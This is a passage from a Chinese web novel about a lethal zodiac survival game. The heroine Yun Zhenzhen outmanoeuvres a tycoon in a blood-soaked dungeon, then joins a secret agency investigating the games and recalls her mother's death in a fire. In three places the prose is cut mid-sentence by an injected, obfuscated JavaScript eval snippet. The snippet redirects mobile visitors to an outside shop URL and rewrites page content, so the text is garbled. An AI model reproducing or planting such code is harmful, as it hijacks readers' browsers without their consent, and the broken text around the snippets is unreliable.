【说明:当两人收付金币数填写一致、互相对应时,则交换成功。否则,两人均游戏失败。】 “呼——!这里也有坑!游戏里处处都是坑,和人生一样!”云真真仔细读完规则,主动挑起话题,观察着紧锁着眉头的钱进。 即使口头商讨一致,在分别填写时也存在信任风险。 要么两人都按照商讨金额填写,通关游戏,皆大欢喜。 要么,其中一人想同归于尽,胡乱填写。 云真真很快笃定钱进没有这个勇气。 他的金牛座特质很重,位列价值观榜首的物质、是身外之物,复仇一类的精神爽点,连榜都上不了。若是遇到对宫的天蝎座,才是真正的大麻烦。 钱进捂着胸口,悔恨为什么要带支票出门,还是整整一本。 “钱董事长,我就直说了吧。”云真真正色道,“我们都填0就行了,你依然是猎金之王。” “真……真的吗?”钱进眼睛亮起,飞速盘算起来。 终局之战的道具必然是强力道具,按照黑市价格交易,虽然弥补不了云真真要去的那一大笔钱,但是……如果带着它再入游戏,一定能赚到更多!不亏! “但是……我有个条件。”云真真瞟了一眼他口袋中的长条支票本,“再开一张支票,金额和上一张相同。” “再开一张?!”钱进的胸口万分绞痛,两张支票的合计金额,等于他一半多的资产。 “不同意呀?”云真真神经质地笑了起来,“那我俩就坐等死亡吧。我一个城中村的路人甲,早就活腻歪了。和你这风云人物一起死,不亏。” “丁哥,我死之后,别忘了出一条官方新闻哈!我也能蹭蹭钱董的热度!”云真真朝着门口高声喊着,手指环成喇叭形状。 丁卯把她的话记录在“策略话术”分类之下,不时细品一番,连连点头。 彻头彻尾的疯子!白深皱起眉头,疑问更深:要那么多钱,她到底想干什么? 冷观则躲在最后方,透过低低的帽檐洞悉一切。 思考一番,钱进伸出颤抖的手,再次递出支票——他的四分之一壁江山。 【叮!终局游戏【交换分配】中,两位猎金者金币交换成功。】 【最终金币持有结果:2号猎金者钱进18个;12号猎金者云真真8个。】 【2号猎金者为本场游戏猎金之王!】 反复被蹂躏威胁了几次,钱进终于在这一刻如释重负,拖着沉重的肚皮飞速向门口跑去。 “挂失!挂失!”他掏出口袋里的支票,高举起来摇晃着,指示矮狗腿子快点挂失支票。 这样一来,云真真就取不到钱了。 看着他全力奔跑的背影,云真真若有所思。 战场如商场,尔虞我诈是基本操作。只可惜…… 很快,钱进惊恐地发现,矮狗腿子焦急地张着嘴却发不出任何声音。 他们仍然处于观战状态。 游戏……还没有结束? 他转过身,绝望如同地震后的海啸,将他彻底打沉在海底。 黑曜石短刀握在云真真手中,反射出寒冷的光芒。 她一刀一刀,慢慢割着黄金骰子,时不时抬起眼睛,戏谑地看一眼钱进。 黄金骰子出现一道缝隙,红艳艳的液体渗了出来,粘了云真真一手。 她毫不在意,面带笑容,染红的双手像拆快递盒子一般,疯狂而娴熟地拆着黄金骰子。 沾血的黄金碎片散落在云真真脚下,越来越多。 切割声停止,黄金骰子中藏着的东西拿在云真真手心——一颗正在跳动的、血淋淋的心脏! 23. 血色大富翁(10) 处于观战模式的矮狗腿子看得心惊肉跳:普普通通、甚至有些瘦弱的女孩儿,若无其事地捧着一颗血淋淋的心脏,脸上甚至挂着些许笑意。 “我明白了!”矮狗腿子由于恐惧,声音变得很大,“她一定是隐藏NPC,混入玩家队伍之中了!要不然,她怎么知道骰子里有东西,好几个人死了,血啊心脏啊,她也不害怕……” “这个……”丁卯摇摇头,“上一场游戏中,我们就见过她,也戴着那朵曼莎珠华胸花。你的推断不正确。至于骰子里藏着东西,其实有迹可循。” 白深和他交换眼神,轻轻点头:“模特死之前就掷出骰子,骰子却像有思想一般,不符合物理规律地空转。” “有点道理。”矮狗腿子耳根子软,马上就被说服,还主动寻找着证据,“骰子拿在手上的时候,的确能感受到微弱的跳动和一丝温度。当时我还以为是自己太紧张,心跳传到了手指尖呢……” 空旷的游戏场地内,云真真单手捧着心脏,一步一步走向酋长。 高跟鞋有节奏地敲击着黄金地板,也重重踩踏着钱进的心脏。 酋长伸出枯树般的手,颤抖地接过跳动的心脏,缓缓扯下兽皮衣。 长长的裂痕从胸口一直延伸到腹部。 撕开胸前裂痕,腔体中空空如也。 血红的心脏被放回胸腔。 合上胸膛那一刻,酋长脸上的皱纹全部消失,俊朗而年轻的面容浮现出来。 真是个帅哥呢!云真真不禁欣赏一番。 正赞叹脸型的优越,一口凉气顿时吸到嗓子眼儿:酋长眼眶空空,头骨白森森,又分明是一具骷髅…… 对面的黄金墙,似乎也闪烁了一下,黯淡了一瞬。 “酋长……今天是4月19日吧?”云真真努力镇静下来,定睛再看时,酋长恢复成苍老干枯的模样。 “4月19日,还是白羊座吧?21号才到我们金牛座……”钱进迅速调整好状态,屁颠屁颠地跟了上来,努力搭话。 商人,利益驱动,总能变化出千万张脸庞。 “这女孩儿究竟怎么想的?”矮狗腿子拍着大腿,“把心脏还给BOSS,他的力量不是更强了吗?我们老板,唉,该直接退出游戏的……” “印第安人的人祭传统,会直接把活人剖开,摘出心脏、内脏奉献太阳神……”丁卯翻阅笔记本,“但这种记载,源于西班牙探险家。不少学者认为,这是刻意夸张宣传,意在将印第安人描绘成野蛮人,为殖民辩护。” “心脏被摘下来,放在黄金之中……”白深沉思片刻,“也许酋长想表达的是,真正的残忍的不是祭祀仪式,而是殖民者。” “这样说来,把心脏还回去,他们两个都没有危险,会得到更多奖励吧?”矮狗腿子听明白了,心下暗暗思忖着,到底该不该挂失支票。 毕竟那两个人他都惹不起。 “这就不得而知了。”丁卯回答,“看后续发展……小云提过,4月19日,在某些国家,是印第安人日,要举办庆祝活动。” 这些又杂又偏的知识,一个没什么学历、打多分零工的人,是如何知道的?白深紧盯着云真真悠然的背影。 游戏场地内飘荡着一种诡异的氛围。酋长高高举起权杖,在黄金的光芒下吟唱起哀婉的旋律。 “墙壁氧化了!看来不是纯金做的。”歌声之中,光线渐渐黯淡,钱进环顾四周。 天花板、地板、四面墙壁,从一端开始,一点一点褪去富贵的金黄色,铁锈的质感露了出来。 明亮的金黄空间,渐渐变成老旧的废弃工厂模样。一股腐朽的味道蔓延开来。 “哪里漏水了?”钱进的进口鳄鱼皮皮鞋踩到湿滑黏腻的液体,他嫌弃地挪开脚。 “哎?不是水,这是?啊——啊——!” 潮水般的液体,不知不觉涌进场地之中,很快覆盖住云真真的双脚。 浓厚的腥味一阵一阵荡漾开来,冲击着嗅觉细胞。 似乎不是海水的腥咸。 黯淡的光线之下,钱进艰难辨认出“水”的材质颜色——刺目的、腥臭的血海! “我要出去!放我出去!我是猎金之王,我要求出去……!”钱进慌张不已,四处乱跑却无落脚之地,最终背靠在墙角,惊恐地看着越积越深的鲜血之海。 云真真一直站在原地。血海掀起层层波浪,拍打着她的小腿,将她价值不菲的工作装染了色。 她惋惜地拍拍衣服,叹了口气,举起两张支票,转头对着出口方向微微一笑,夸张地作出口型:不!要!挂!失! 矮狗腿子见状惊掉了下巴:身处血海,生死未卜,还惦记着钱! 咕嘟、咕嘟、咕嘟……血海之中不断冒出泡泡,越来越密集,越来越迅速。 “又想干什么?”钱进再也维持不住修养,双手抱头蜷缩起来,“我还活着,不想现在就下血池地狱啊……” 酋长的吟唱越来越响亮,声音中充满愤怒。 随着歌声,血海波涛汹涌,如一口血锅开始沸腾。 光线也暗到只能勉强辨认出物体的轮廓。 似乎有什么东西从血海之下冒了出来,如雨后春笋般,一个接着一个。 云真真面朝血海弯下腰,试图看清楚一些。 一个球形物从正下方冒出来,不偏不倚对上了她的鼻尖,触感冰凉滑腻,气味腥臭。 云真真向后小弹一步,挂上尴尬又不失礼貌的笑容:“你们回来了……” 不明物直立起来,空洞地俯视着云真真。 是一个游戏中站在领地后方的印第安人。 但也有不同点。刚刚出“海”的这些人,颅骨呈开放状态,没有头皮。 钱进的嚎叫声、哭声夹杂在酋长的吟唱声中,很快便被淹没。 印第安人再次集体吟唱起欢快的旋律。 齐膝深的血色之海中,他们脚步一致踏出血花,手拉着手跳起圆圈舞。 钱进和云真真两人被围到圆圈的中心位置,被迫加入这诡异的仪式。 酋长权杖顿地,一个血色大波浪翻涌过来,印第安人同时停止了吟唱。 “今天是4月19日,我们的节日。”酋长庄严走进族人围成的圆圈之中,缓缓开口,“这鲜血,献给我部族的勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497833|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士们,请享用!” 原始野性的欢呼声响彻场地,刺得云真真耳膜生痛。 正在想着家里那副睡眠耳塞,小腿处传来丝丝缠缠的触感,好像被类似水槽、海藻一样长长东西绊住了。 黑暗之中,云真真俯身,揪住,提起,查看,沉默。 “找到什么好东西了?难道有武器?”钱进紧靠着云真真,把脑袋凑了过来,“我们肯定还有机会!” “啊——!啊——!!”他的希望被迅速浇灭,情绪再度失控,踉跄出几步却逃无可逃,只剩下无边的恐惧与绝望。 云真真举到他眼前的,是一把蛋卷波浪的头发,上面别着草莓发饰。 如此乖巧的发型,属于甜妹甘甜甜。 原来如此。云真真扔掉头发拍拍手。 之前失败的几位玩家,全部都被放了血。 印第安某些部落中,鲜血被用来悼念亡魂。 轻易掀开的头皮,冰凉的体温,涂满颜料的脸庞,空洞的眼神,行尸走肉般麻木…… 这些印第安人,和没有心的酋长一样,从一开始便是亡魂。 “此外,我们还要为一个人庆祝。”酋长的权杖直指云真真和钱进,“最富有的人!” 欢呼声再次响起。云真真优雅作出米其林餐厅迎客专用的手势,把钱进引向圆心正中央。 “害——闹了半天,原来是庆祝。”矮狗腿子一直屏着呼吸,差点缺氧,“这副本,还要有个结局!就是画风过于邪典了。哎呀,那本支票,我是挂失还是不挂失呢?” “我们分析过,这副本的目的之一是展示。”丁卯刷刷进行着场景速写,认同矮狗腿子的答案。 白深的眉头却越锁越深。他隐隐感觉到,云真真定然还有后续操作。 黑暗的种子在云真真心脏中萌发,沿着胸口那朵彼岸花花瓣一丝一丝播撒向整个外部世界。 她就是那样一个人。 场地中央,云真真站在酋长中央,笑容十分灿烂,甚至随着印第安人的节奏拍起手,胸前的彼岸花与波光粼粼的血海交相辉映。 “酋长,我了解你们的传统,你们,从来不曾被忘记。”云真真朝着酋长挤挤眼睛,“在一本书里读到的。书名是什么来着?啊,想起来了——《人生的十二个面向》,霍华德·萨斯波塔斯写的。” “书上写道:按照印第安传统,部落中最富有的人,即成功且合理赚取最多财富的人,都必须舍弃自己所获得的一切。这是非常伟大的行为,和共产主义思想不谋而合。” 酋长缓缓转过头,眼中饱含浑浊的泪水,用尽全部力量高喊一声:“千!金!散!尽!” 血池中骤然跃起几条庞然大物,组成一个绞刑架,将钱进吊在空中。 他的腿拼命挣扎着,一只鳄鱼皮皮鞋落入血池之中,溅起几朵无望的血花。 咕咚、咕咚……他口袋中的小心翼翼保护的金币,一个一个落入血池之中,印第安人们纷纷去抢夺,发出快乐的声音。 【叮!本场游戏2号玩家因金币持有数位0,游戏失败,化作流星,咻~】 【游戏结束。】 24. 地下调查局的彼岸花 深秋的阳光洒满整条金融街。 大量上班族乌泱泱一片,四面八方涌入楼宇之间,开灯、开电脑、换制服、冲咖啡,一气呵成。 进入金牛座副本之前的末世感如同梦境般昙花一现。 存活下来的5名玩家呆呆站在金色招牌面前,与周遭现实的快节奏显得格格不入。 云真真心跳依然很快,回味着副本中的种种,还没彻底抽身出来。 戴着“行长”胸牌的中年男人疾步踏入银行,路过玩家们时微微点头,低声说句“辛苦了”,立刻召集员工开晨会,分析经济形势,布置当天工作。 在他们眼中,玩家们仿佛只是安抚好了一个难缠的客户,轻松又容易。 黏腻的鲜血,激烈的抗争,未知的生死,残忍的杀戮……只是一场梦。 血色大富翁之梦与现实唯一的链接点,大概只有金钱了。 云真真伸了个大大的懒腰,按亮手机,距离进入副本才过去十几分钟。 “时间就是金钱,一点不假!”云真真振奋精神,指向街对面的另外一家银行,眯眼盯着白深,“我先去那边兑付支票,你在这里等着,可别溜了。恢复营业就取钱。” “一起在这儿等。”白深皱眉冷脸。 云真真轻蔑一笑,转身迈下台阶,却因为袖口被扯住打了个大趔趄。细鞋跟受力不匀,“咔嚓”一声断掉了。 “赔!”云真真回头怒视,见他一双大手像螃蟹钳一样,牢牢夹住自己的衣袖。 “第一,这是高级红底鞋,价格不菲。第二,误工费。”云真真奋力挣脱,飞速在手机计算器上打出了一个数字,亮在白深眼前。 “小矮,你陪我去对面取支票,结束后给你车马费!”云真真一瘸一拐,对着矮狗腿子眨眨眼睛。 矮狗腿子却左看右看,支支吾吾,吐不出一句完整的话。 云真真猜到八分,怒由心生,声音提高几十个分贝:“支票挂失了?你是有病吗?你们老板是个PUA员工、只画大饼、人面兽心、穷凶极恶的狗东西!他死了是报应,你听他的干什么?” 小矮不出声,白深却开始新一轮冷嘲热讽:“小矮是金融专业高材生,有自己的判断。真如你所说,钱董如此不堪,但最后还是被黑吃黑了。你学过公司法吗?了解集团的组织架构吗?华民地产不是董事长一个人的。” “更何况,成千上万搅水泥、架钢筋的农民工,还有几年工资没付清。你该把支票交回华民,用于支付拖欠的工资。” “别来道德绑架那一套!他们拖欠工资,关我屁事?!”云真真依然嘴硬,对白深阴阳自己学历不高、学识浅薄的行为颇为不满,却难得呆在了原地。 她举着断掉的鞋跟,连连叹着倒霉:都怪这破鞋跟,让她寸步难行,走不到对面银行去。 尽管被帽子遮住了大半张脸,云真真仍瞥见站在角落的冷观露出一丝微笑。 “冷观,谢谢你啊!”云真真索性甩下另一只鞋子,踩在冰凉的地面上,真诚地向他道谢。 如果不是他及时分享信息,她不会作出如此大胆、步步针对钱进的操作。 星座游戏中,强力道具是致胜关键。特别是在土象星座的游戏中,这点更为重要。 而冷观的中阶星座技能【技能窥探】可谓“道具的道具”。 云真真使出浑身解数套起近乎,一会儿谈天气,一会儿聊工作,一会儿又评论起手机游戏。 但他的反应只有“嗯、啊?呵……”几种,云真真难得一丁点儿有用的信息都没套到手。 一阵巨大的发动机轰鸣声由远及近,两辆浮夸的重型吉普车急刹在面前。 四五个留着“扫帚头”“莫西干头”“阴阳头”的男子气势汹汹地走了过来。 看来,那些年的非主流□□空间都被你们玩明白了。 云真真敏锐观察着这些人,眉毛、鼻子、耳朵、嘴巴,没有一处不穿孔,有两个人脸上还有刺青。特别是留着阴阳头的烟熏妆小青年,嘴唇上钉着好几个尖尖的恶魔钉。 这些就是银行的高端客户?云真真正感到困惑,阴阳头突然停在她和冷观面前,夸张地张大嘴巴,作出一副野兽般狰狞的表情。 云真真没忍住,噗嗤一声笑了出来。 “你笑啥?你不怕哥?”阴阳头恶狠狠盯着云真真,头发几乎扫到她的脸庞。 云真真龇出牙齿,还他一个凶狠表情,又指向两颗尖尖的虎牙:“怕什么,我也有。” 几个非主流哈哈哈笑了起来。 云真真敷衍着陪笑几声,心里亮如明镜:真正的危险分子,根本不需要用奇装异服等外在手段来伪装。 领头的扫把头一把拽过冷观,拍着他的肩膀,又歪头瞟着云真真:“弟弟,该回家了。这女孩儿,是你朋友?” 冷观木桩一样摇摇头:“只是同一场游戏里的玩家。” 扫把头扬起一脚,把冷观踹向吉普车,又丢下一句话,似乎在警告冷观,又像说给云真真听:“猎鹰组织的人,首先得化成孤鹰,不能跟任何组织以外的人产生联系。” 吉普车扬长而去,云真真才展开手心的小纸条:一串数字,只有9位数。不是电话号码。 是那些非主流下车之前,冷观不动声色塞给她的。 冷观和那些人,无论是外在装扮,还是气质谈吐,实在大相径庭。 这一串数字,又暗示了什么?冷观的目的是什么,为什么给自己这个纸条?这个“猎鹰组织”,又是什么东西? 没等想明白,面前又驶来两辆车。 一辆低调的公务用车是来接丁卯的。上车前,丁卯仍在婆婆妈妈地叮嘱:“小白小云啊,你们俩一定要来参加所里的星座游戏复盘会哈!千万别忘了,于国家于人民,都是有重大意义的……” 另外一辆豪车属于钱进,大部分人都知道,因为全市仅有这一辆。 人没了,车还在。司机显得有些不知所措。 矮狗腿子向大家告别,准备回集团去汇报。临别,又看着云真真支支吾吾起来。 “怎么不走,邀请我去做董事长?”云真真想逗逗他。 “是……啊不……不是……”矮狗腿子踢着脚下的小石子儿。 “把支票还给人家。”白深一语道破。 云真真挑眉微笑,把两张支票举到眼睛高度,一寸、一寸地慢慢撕碎。 矮狗腿子目瞪口呆:大姐,你这是《红楼梦》看多了,学晴雯哪? 白深不愿多废话,掉头向银行营业厅的方向走去。 “我不得不防你一手!说不定,你想独吞巨款,然后去做增高手术?好啦……”云真真把碎片塞入口袋,拍拍手,“你可以挂失去了。顺便告诉董事会,钱董提议用这笔钱付清拖欠的工资。在场的玩家都能作证!” 望着豪车远去的背影,云真真心在滴血,指尖拨弄起支票的小碎片。 这笔意外之财,怎么会不想要?奈何确实被道德绑架了。一定要尽快赚回来! 打工!米其林餐厅的打工还得去!云真真脑海中的日程表闪闪发亮,急冲冲走出几步,脚底板儿却透心凉。 “哟!CLOUDY?”餐厅老板好巧不巧路过,用夸张的腔调喊出云真真被迫取的英文名,配合吃惊的表情,从上到下把她打量了个遍。 他从羊绒西装的胸前口袋中抽出色泽艳丽的丝绸小方巾,又想捂住鼻子又怕失了体面:“今天……就放你假。CLOUDY,你先回家彻底洗个澡,再买双新鞋吧!” 云真真捡回断根的鞋,边盘算着能不能把它粘好,边想米其林餐厅老板才该进入金牛座副本。 通过外在评价人,物质,肤浅!越想越生气。 “行长说,系统、电路都需要检修,下午才能恢复。”白深站在气鼓鼓的云真真身边,眼睛却看向别处,“你跟我回一趟总部。” “我?跟你?”云真真用高跟鞋指向鼻尖,“凭什么?凭你疯了吗?时间就是金钱,你想浪费我多少钱?” “现在开始,我会按照米其林餐厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544050|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时薪付你薪酬。”白深说到做到,拿出手机确认当前时间。 云真真立刻收声。好大一个西瓜丢了,这个芝麻不得不捡! 又是一阵闷响的发动机轰鸣声。四个轮子再次停在面前。 只不过这次,两辆车才凑出了四个轮子——2台摩托车。 前面那辆车上的人摘下头盔,一头红发跳了出来,在阳光下十分耀眼。 “队长,上车!”辛晴潇洒地一歪头,示意白深上车。 “你载她。”白深径直走向后面那辆车。 辛晴错愕一瞬,很快恢复成一张酷脸,将一个沉重的头盔抛向云真真。 车速快到模糊,冷风在耳边呼啸。 云真真冻得直哆嗦,对辛晴铤而走险的转弯超车提心吊胆,还得忍受她衣服上随时扎人的铆钉,不免觉得这份钱也没那么容易赚…… 终于,四人在湿地公园门口停下了。 什么局能设在湿地公园里?还真是跟英文缩写挂钩,挺SB的。云真真心里带着问号,跟在3人身后东张西望。 差不多走到公园中心位置,辛晴蹲下来,麻利地拉开一道通往地下的门。 一连走下三四段台阶,空间豁然开阔起来。 第一个经过的超大型办公室上挂着“星座游戏情报部”的牌子。里面一二十个人忙碌地对着电脑,像是一个项目组的程序员。 通道两边,设立着“星座资料研究部”“星座游戏科技部”等七八个办公空间。 辛晴闪进一间挂着“星座游戏突击队”牌子的办公室里去了,云真真探头看去,里面都是年轻人,说笑声很响亮。 白深在长廊尽头的“星座游戏指挥中心”前停下脚步。 这间办公室的门显然比其他门更大更厚重,科技含量也更高。 进行人脸识别后,大门一分为二,“刷”地向两边滑开。 约五六十平的空间内,最显眼的是一块巨型屏幕,几乎占据一整面墙。 屏幕对面的墙上,挂着八个黑色的亚克力大字,庄严而充满力量:苍茫宇宙,芸芸众生。 云真真盯着那八个大字一会儿,噗嗤一声笑了出来。 “有什么问题?”白深边操着几台比电脑复杂得多的机器,边皱眉问云真真。 “你这Slogan没写全啊?!”云真真双手抱胸挑衅道,“苍茫宇宙无情无情,芸芸众生可笑可笑!” 白深:……别拿我们局的价值观开涮。 屏幕亮起,一张由绿色线条组成的本市地图出现在黑色背景上。 十几个红点在图上闪动起来,云真真仔细观察,认出几个地点:一家食品加工厂、大羊公园,以及刚刚才到过的金色银行。 显然是星座游戏出现过的地点。 “你有什么看法?如实交代。”白深倚靠在办公桌上,双手交叉,眼神似乎在审问犯人。 “我能有什么看法?我不过一个平头小百姓!”云真真向来最不吃硬。 白深盯住她几秒,仿佛要看穿她的全部秘密,却只得到一双狡黠的眼睛和一张微微嘟起的嘴巴。 他无奈地点着头,再次把键盘敲击得震天响。 屏幕上,几根红色的线条串起一个个红色圆点。 云真真恍然大悟。 怪不得一开始,他就对自己胸前那朵彼岸花格外在意。 从西南到东北,各个游戏地点的连线像极了一朵彼岸花的形状:龙爪一般卷曲的叶片,张扬飞舞的花柱。 “你想说明什么?”云真真抚弄着胸花,“这种东西,坟头上多的是。” “世界上不存在一模一样的两朵花。”白深看向她的胸口。 “你这话也太绝对了吧!”云真真摘下胸花把玩着,“科学家还说,九星不会精准连珠呢。” “你在偷换概念。”白深伸手,强行拿过绒布彼岸花,朝斜上方摆放、微调后定格,保持固定角度向大屏幕靠近。 绒布彼岸花与屏幕上的星座游戏地点完全重合。 25. 无爱一身轻 苍茫宇宙之下,只要样本量足够大,巧合的事便一定会发生。 恰好发生在眼前,又置身其中时,才会觉得这不正常,要么是神迹,要么藏着阴谋。 面对彼岸花与星座游戏的种种关联,云真真这样解释。 白深并不相信,立刻调取隔壁市的地图与游戏出现地点,熟练调整彼岸花的角度,吻合。 又调取距离最远一个市的地图,调整角度,吻合。 再次调取大洋对岸某个城市的地图,再次吻合。 “我说你……记忆力和空间能力怎么这么好?”云真真惊呼。 一般人做类似工作,会选择对着地图不断调整花的角度和姿态,白深却一顿盲摆,直达目的。 白深:重点不是这个……我并不是为了炫技。 “这朵花的故事……”云真真叹了口气,略显忧伤地看向天花板,“我实在不愿意回想……” “说吧,要多少。”白深打断她的悲情戏。 “你家……到底富到什么程度?”云真真眼神亮了起来。 白深指向“苍茫宇宙,芸芸众生”八个大字:“宇宙之下,每个生命都有生存下去的权利。无数官方、民间组织,拼上性命探寻星座游戏的秘密,就是为了这一个目标。” “不知道你要那么多钱,到底想干什么。但为了这个目标,我们组织的所有成员都愿意倾家荡产!” “倾家荡产?一共好像就四五十个人啊,看上去富可敌国的一个都没有。”云真真恢复冷嘲热讽的常态,“这办公地点,以前是个防空洞吧?连写字楼都租不起,谈什么人类理想。”云真真输出一番,最终还是报出一个天文数字。 一朵绒布彼岸花由来的故事,换取一大笔钱,还是十分划算的。 云真真席地而坐,双手抱膝。地面源源不断传入身体的寒凉使她清醒冷静,环抱姿势能带来些许安慰。 这样才能安全而又稳准狠地揭起伤疤。 绒布彼岸花,最初源于一块高档进口金丝绒布。 初三那年的圣诞节前,妈妈接到一所私立中学的订单:为表演节目的女孩子们缝制蝴蝶结发饰。 闪动着柔润光泽的红色绒布为主体,黄金丝线密密缠绕打结,再坠上两颗野生海水珍珠,家长们越洋订购布料与珍珠,只为十几个女孩子们不足3分钟的表演。 城中村的深夜,昏黄的灯光下,妈妈终于完成最后一针。 泪水却滴在手中的蝴蝶结上,晕出一抹深红色。 她慌张地移开蝴蝶结,轻轻摆在真皮小收纳盒中,才用手背擦掉眼泪。 穷人的眼泪,不是想掉就能掉的。 小云真真原本趴在桌上装睡,此时猛然起身,环住妈妈的双肩。 “真真……妈妈对不起你……”妈妈甚至不敢抬头,“和你一样年纪的女孩儿,穿着漂亮的裙子,头戴蝴蝶结,在台上唱歌,逛街买东西。你却……” “害!我还以为地球要爆炸了呢!”云真真没心没肺地咯咯笑着,“我天生就不喜欢那些东西,给我都不要。现在就过得很好。” “快圣诞节了,妈妈给你做个小礼物吧,咱也过过洋节……”妈妈勉强挤出笑颜,皱纹笼住大半张脸。 她麻利地收捡边角料:红色绒布价格昂贵,余量不多,还是狭长的一条一条;黄金丝线有小拇指粗的一小轴。 “缝个圣诞老人怎么样?碎棉花可以做胡子,这线还能缝个小铃铛……”妈妈揉着眼睛,缓解疲劳。 “不喜欢。我想要这个!”云真真从书包侧口袋里拿出一朵有些蔫的彼岸花。这是卖废品路过坟地时顺手摘的,“再安一个小别针,我可以天天戴着。” 这朵花好做,和狭长的布条正匹配。 “以上,讲完了。”云真真站起身来,初中时坚毅的神情与此刻的脸庞重叠,“没什么特别的” “你妈妈……”白深喝了口水。 “只是个普通女人。”云真真后背紧紧贴着墙壁,似乎在寻找依靠,“况且已经死掉了。” 不知道白深相信了多少,反正暂时没再追问下去。眼中流露出的怜悯,却是云真真最不喜欢的表情和情感。 富人怜悯穷人,天生就带着优越感。 “苍茫宇宙浩瀚无边,芸芸众生谁人不死?哈哈哈……”云真真夸张地笑着,感染力十足。 白深:又在用我们局严肃的价值观掩饰自己…… 一阵急促的敲门声传来,白深看过监视器,按下开门键。 红发辛晴大步走进来,把一双平底帆布鞋扔在云真真面前,又将一个文件夹双手递给白深,眼巴巴地等他打开。 云真真:差别待遇就这么明显? 云真真三两下穿好鞋,大小刚合适。她凑过去对辛晴道谢,只得到一句“队长吩咐的,不用谢我。” 目光转向白深手中打开的文件夹上。 那是一张本地晚报社会新闻版面的复印件,发行日期为云真真读初三那年的12月28日。 黑体题目赫然在目:城中村一民宅失火一名女性不幸葬身火海 “据悉,该遇难女性于年初买下失火住宅……” “……此片区域一个月前被规划为拆迁区域,由华民集团负责……” “……华民集团曾表示,年内一定完成拆迁任务……” “……遇难女性有一女,因上晚自习躲过一劫……” 芸芸众生中的渺小个体,由生到死,凝结成短短几行字,足矣。 “啪!”文件夹被重重合上。 白深命令辛晴:“第一,快到中午了,盒饭多订一份。第二,给丁卯回电,我和云真真一同去参加下午的会议。” 辛晴诧异地看了云真真一眼,眼神中写明“你到底特殊在哪儿”,却也不得不回答“是”,转身出去执行。 “第一,我为啥要在这吃饭?第二,我为啥要跟你一起去开会?”云真真学起他的语气。 “第一,你有时薪。第二,你已知晓SBI的独家核心机密——彼岸花,等会儿要签订保密协议,在此之前不能放你走。第三,你还没收到我的欠款。”白深把球打了回去。 盒饭味道不错,两荤两素,还有一碗汤。云真真把饭菜搅拌在一起,呼噜呼噜吃着。 白深像程序设定好的一般,先喝汤吃素菜,再吃肉,最后吃米饭,一丝不苟。 云真真嚼着冒油的五花肉,发出一连串疑问:SBI到底是个什么样的机构?你是队长,为什么能进司令的指挥部?成员都是从哪里找来的? 白深把五花肉上肥的部分夹到一旁,选择性回答问题。 SBI是官方默许,并给予一定资源的民间力量。成员以游戏测试员的身份活动,调查游戏背后的秘密,还能以特别手段解决一些灰色地带问题。 这里的成员,无一不怀揣救下芸芸众生的信念。 “你们这儿,工资高吗?”云真真停下手中的筷子。 白深:……我们可是靠理想信念吃饭的! 丁卯所在的社科院星座研究所,宽敞明亮,和SBI所在的地下防空洞对比鲜明。 云真真和白深被安排在会议桌主位,背后挂着“星座游戏‘血色大富翁’副本研讨会”的横幅,洁白无瑕的擦手巾和热气腾腾的茶水摆在面前,室温也十分合适。 要是配点瓜子儿就更好了……云真真东瞧西看,抵抗阵阵来袭的困意。 丁卯的直属领导——王所长还在读着冗长又书面的研究报告,诸如“游戏经过与流程”“游戏解法”“游戏设置目的推论”“下一个游戏猜测”等,似乎与云真真和白深没太大关系。 会议进入尾声时,王所长对着秘书吩咐几句,和蔼笑着:“白深、云真真同志,我从丁卯那里得知,你们两人在游戏中,做了件大好事。下一届优秀市民评选,院里准备推举你们俩……” 王所长示意下,秘书打开电视,本市新闻播放:“华民集团一次性付清农民工工资,全市人民共迎幸福新年……” “王所长……”丁卯猛然站起身,焦虑地敲着笔记本,“刚收到监测部急报,又有地方出现磁场异动,预计12小时之内就会形成副本……这次的地点,是第一高中……” “快报告上级,迅速疏散全体同学,召集应对组全体成员召开会议……”王所长急冲冲地走出会议室。 丁卯同样心焦火躁:“白云呐,顾不上你俩,不好意思。这次副本在学校,我们得率先保证学生安危,有缘再见!” 白深、云真真:你们科学家,咋还给人随便起CP外号呢? 城中村的简陋小房间里,云真真窝在小单人床里反复查看账户余额。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572854|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 简直比做梦还不真实。 按照这个赚钱速度,那个梦想,也许很快就能实现了! 她觉得脸颊发烫,全身热血沸腾,只能起身倒杯凉水来压一压。 人嘛,干啥都不能太上头,不然肯定会降智。 咕咚咕咚灌了一通,凉水沿着喉咙流入身体,头脑终于冷静下来。 放下杯子,她出神地望着桌上那一袋豆浆泡包子。 一个投机取巧而又疯狂、带着几分自毁倾向的计划在脑海中渐渐生成。 